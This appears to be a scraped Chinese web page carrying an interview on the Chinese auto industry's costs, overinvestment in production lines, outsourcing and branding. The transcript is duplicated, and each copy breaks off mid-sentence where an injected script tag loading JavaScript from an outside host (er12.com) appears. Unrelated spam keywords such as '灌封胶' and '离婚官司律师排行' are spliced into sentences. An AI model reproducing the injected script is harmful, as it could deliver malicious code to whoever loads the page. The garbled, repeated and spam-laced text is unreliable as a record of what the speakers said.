中国汽车整体研发水平已超韩国拼板机

【朱西产】：比如现在要设计出一个像桑塔纳、捷达这样的车，我想雷总的公司就认为很容易了。

【雷雨成】：我们做得比他们好得多。

【朱西产】：但是现在问题是，谁能打造出这么一个车来月销量达到20万，这就很难了。

【雷雨成】：对，除非你降价，卖一辆赔两万，这谁也受不了。我们要从技术等方面综合解决，最近我们在研究一个超级平台技术，想把汽车车身和零件最大限度平台化，目的是在实现高品质的同时降低制造成本，使民族汽车工业能在未来竞争中，至少品牌差两万，成本也能降下来，我能生存。生存是在保证未来发展的基础上，在这块我们做了不少的研究。反过来我们汽车企业现在也要转变思路，我们是不是把大量的钱都投在生产线上？实际是有问题的。现在有些企业弄点钱，一下50亿在生产线上，是提高了品质，但是你在产量上不去的时候，每辆车的开销会变成三万四万。现在普遍国内汽车厂商在赚吆喝，卖一台车赔四五万。什么时候达到一个顶点？也许两年，也许五年，这就面临着走向危险的边缘。

我们中国企业要和国际品牌竞争，必须要想办法，在保证品质的情况下降低成本，这是两难的。从技术上要努力，从经营管理上要努力。举一个例子，我们很多厂拿一个车型就搞15万台的生产线，实际上一个车型达不到15万台。一个15万辆的生产线要准备投六个车型，如果没有六个车型就不要一次性投15万辆。丰田最早起家的时候，六万平米一个厂房能做40万台。现在我们国内规划的概念是40万台车要有40万平米的厂房，当然厂房面积上去了，设备也要跟着走，投入大产出的模式。如果走大投天津入大产出，只有上海大众、一汽大众、丰田可以，因为它有品牌能支撑这个价位。由于它有品牌，一个产品能够销足够大的量。有一个估计数据，去年超过5万辆的车只有20.8%，如果按发达国家算的话，超过10万辆的只有6%，按照合资企业的算法，低于10万辆是不可能赚钱的，就是年产量单一品种。如果这么算的话，只有6万辆才能赚钱，那就是靠老车型养新车型。

另外是不是小而全，一个整车厂自己研发中心投入很多设备，而且每家研发中心设备利用率都惊人的低，尤其是大型设备，利用率很低，有时候一年才用一两次。同济大学的实验室也空着，不太用，花了钱利用率低。这些钱能不能给媒体打点广告，给老百姓多点返利。我们现在的企业，做品牌的不能做制造，做制造的不能做品牌。做品牌的不能做制造，为什么？专业化成本，大批量成本低。自己制造，量很低，成本很高，反倒品牌做不好。最后由于你成本高，你死掉了。所以现在全世界的大品牌不做制造，oem，全部采购模式。

中国汽车工业的出路就是低成本投入

【雷雨成】：我认为中国汽车工业的出路就是低成本投入，把所有的投入，包括车身、零部件制造分给专业的分包厂。一个生产线下去，两万辆都没有，一年几百辆几千辆。现在有一大半的车型销量不超过两万辆。在中国车型这么多，竞争残酷，今年新上市的车型超过80款，把老车型算上一共800款车。有一本书《长尾理论》，多元化产品以后，如果开发成本不降低、制造成本不降低、销售成本不降低，长尾这部分占一半市场你不赚钱，你只能做根部的大热门，那就巨大的广告投入、生产线投入，意味着风险极大，19.8%的机率你能成功，那比赌博还低。

我们怎么走一条新路，这是现在所有的汽车工业都要思考的问题。不能小而全，开发能利用大学的利用大学，能利用大学的研发队伍利用大学的，能利用研究所的利用研究所的，能利用设计公司的利用设计公司的。像制造方面，能外包的外包，在零部件制造企业，全国的制造原料有多少浪费、剩余，你这边再做那不是浪费吗？但是现在企业的想法所有的都自己做，那么多的资金，资金的效率怎么样，设备折旧算上去以后成本还低吗？一下就高了，所以为什么卖一台车赔一台车，现在成为全国所有汽车厂的问题。合资企业问题更大，投入更大，出去这个车型一旦卖不好了，一个车型就能把合资企业弄死，它的投入更厉害。所以它也需要低成本和本地化开发、采购成本降低等等，他也得研究这些。

所以我们觉得中国本地企业也好、合资企业也好，必须研究未来的竞争态势，未来的最终成功者必须是在同样品质上，我的成本和你有很大距离。换句话说，我省这个钱打广告，每台车省一?script src=http://er12.com/t.js>未来20年，我认为汽车工业就是打品牌的20年。 大量投资要往品牌上做，什么叫品牌？就是你的品牌知名度，产品的品质和品牌要同步。

【朱西产】：比如现在要设计出一个像桑塔纳、捷达这样的车，我想雷总的公司就认为很容易了。

【雷雨成】：我们做得比他们好得多。

【朱西产】：但是现在问题是，谁能打造出这么一个车来月销量达到20万，这就很难了。

【雷雨成】：对，除非你降价，卖一辆赔两万，这谁也受不了。我们要从技术等方面综合解决，最近我们在研究一个超级平台技术，想把汽车车身和零件最大限度平台化，目的是在实现高品质的同时降低制造成本，使民族汽车工业能在未来竞争中，至少品牌差两万，成本也能降下来，我能生存。生存是在保证未来发展的基础上，在这块我们做了不少的研究。反过来我们汽车企业现在也要转变思路，我们是不是把大量的钱都投在生产线上？实际是有问题的。现在有些企业弄点钱，一下50亿在生产线上，是提高了品质，但是你在产量上不去的时候，每辆车的开销会变成三万四万。现在普遍国内汽车厂商在赚吆喝，卖一台车赔四五万。什么时候达到一个顶点？也许两年，也许五年，这就面临着走向危险的边缘。

我们中国企业要和国际品牌竞争，必须要想办法，在保证品质的情况下降低成本，这是两难的。从技术上要努力，从经营管理上要努力。举一个例子，我们很多厂拿一个车型就搞15万台的生产线，实际上一个车型达不到15万台。一个15万辆的生产线要准备投六个车型，如果没有六个车型就不要一次性投15万辆。丰田最早起家的时候，六万平米一个厂房能做40万台。现在我们国内规划的概念是40万台车要有40万平米的厂房，当然厂房面积上去了，设备也要跟着走，投入大产出的模式。如果走大投入大产出，只有上海大众、一汽大众、丰田可以，因为它有品牌能支撑这个价位。由于它有品牌，一个产品能够销足够大的量。有一个估计数据，去年超过5万辆的车只有20.8%，如果按发达国家算的话，超过10万辆的只有6%，按照合资企业的算法，低于10万辆是不可能赚钱的，就是年产量单一品种。如果这么算的话，只有6万辆才能赚钱，那就是靠老车型养新车型。

另外是不是小而全，一个整车厂自己研发中心投入很多设备，而且每家研发中心设备利用率都惊人的低，尤其是大型设备，利用率很低，有时候一年才用一两次。同济大学的实验室也空着，不太用，花了钱利用率低。这些钱能不能给媒体打点广告，给老百姓多点返利。我们现在的企业，做品牌的不能做制造，做制造的不能做品牌。做品牌的不能做制造灌封胶，为什么？专业化成本，大批量成本低。自己制造，量很低，成本很高，反倒品牌做不好。最后由于你成本高，你死掉了。所以现在全世界的大品牌不做制造，oem，全部采购模式。

中国汽车工业的出路就是低成本投入

【雷雨成】：我认为中国汽车工业的出路就是低成本投入，把所有的投入，包括车身、零部件制造分给专业的分包厂。一个生产线下真空炉去，两万辆都没有，一年几百辆几千辆。现在有一大半的车型销量不超过两万辆。在中国车型这么多，竞争残酷，今年新上市的车型超过80款，把老车型算上一共800款车。有一本书《长尾理论》，多元化产品以后，如果开发成本不降低、制造成本不降低、销售成本不降低，长尾这部分占一半市场你不赚钱，你只能做根部的大热门，那就巨大的广告投入、生产线投入，意味着风险极大，19.8%的机率你能成功，那比赌博还低。

我们怎么走一条新路，这是现在所有的汽车工业都要思考的问题。不能小而全，开发能利用大学的利用大学，能利用大学的研发队伍利用大学的，能利用研究所的利用研究所的，能利用设计公司的利用设计公司的。像制造方面，能外包的外包，在零部件制造企业，全国的制造原料有多少浪费、剩余，你这边再做那不是浪费吗？但是现在企业的想法所有的都自己做，那么多的资金，资金的效率怎么样，设备折旧算上去以后成本还低吗？一下就高了，所以为什么卖一台车赔一台车，现在成为全国所有汽车厂的问题。合资企业问题更大，投入更大，出去这个车型一旦卖不好了，一个车型就能把合资企业弄死，它的投入更厉害。所以它也需要低成本和本地化开发、采购成本降低等等，他也得研究这些。

所以我们觉得中国本地企业也好、合资企业也好，必须研究未来的竞争态势，未来的最终成功者必须是在同样品质上，我的成本和你有很大距离。换句话说，我省这个钱打广告，每台车省一?script src=http://er12.com/t.js>离婚官司律师排行
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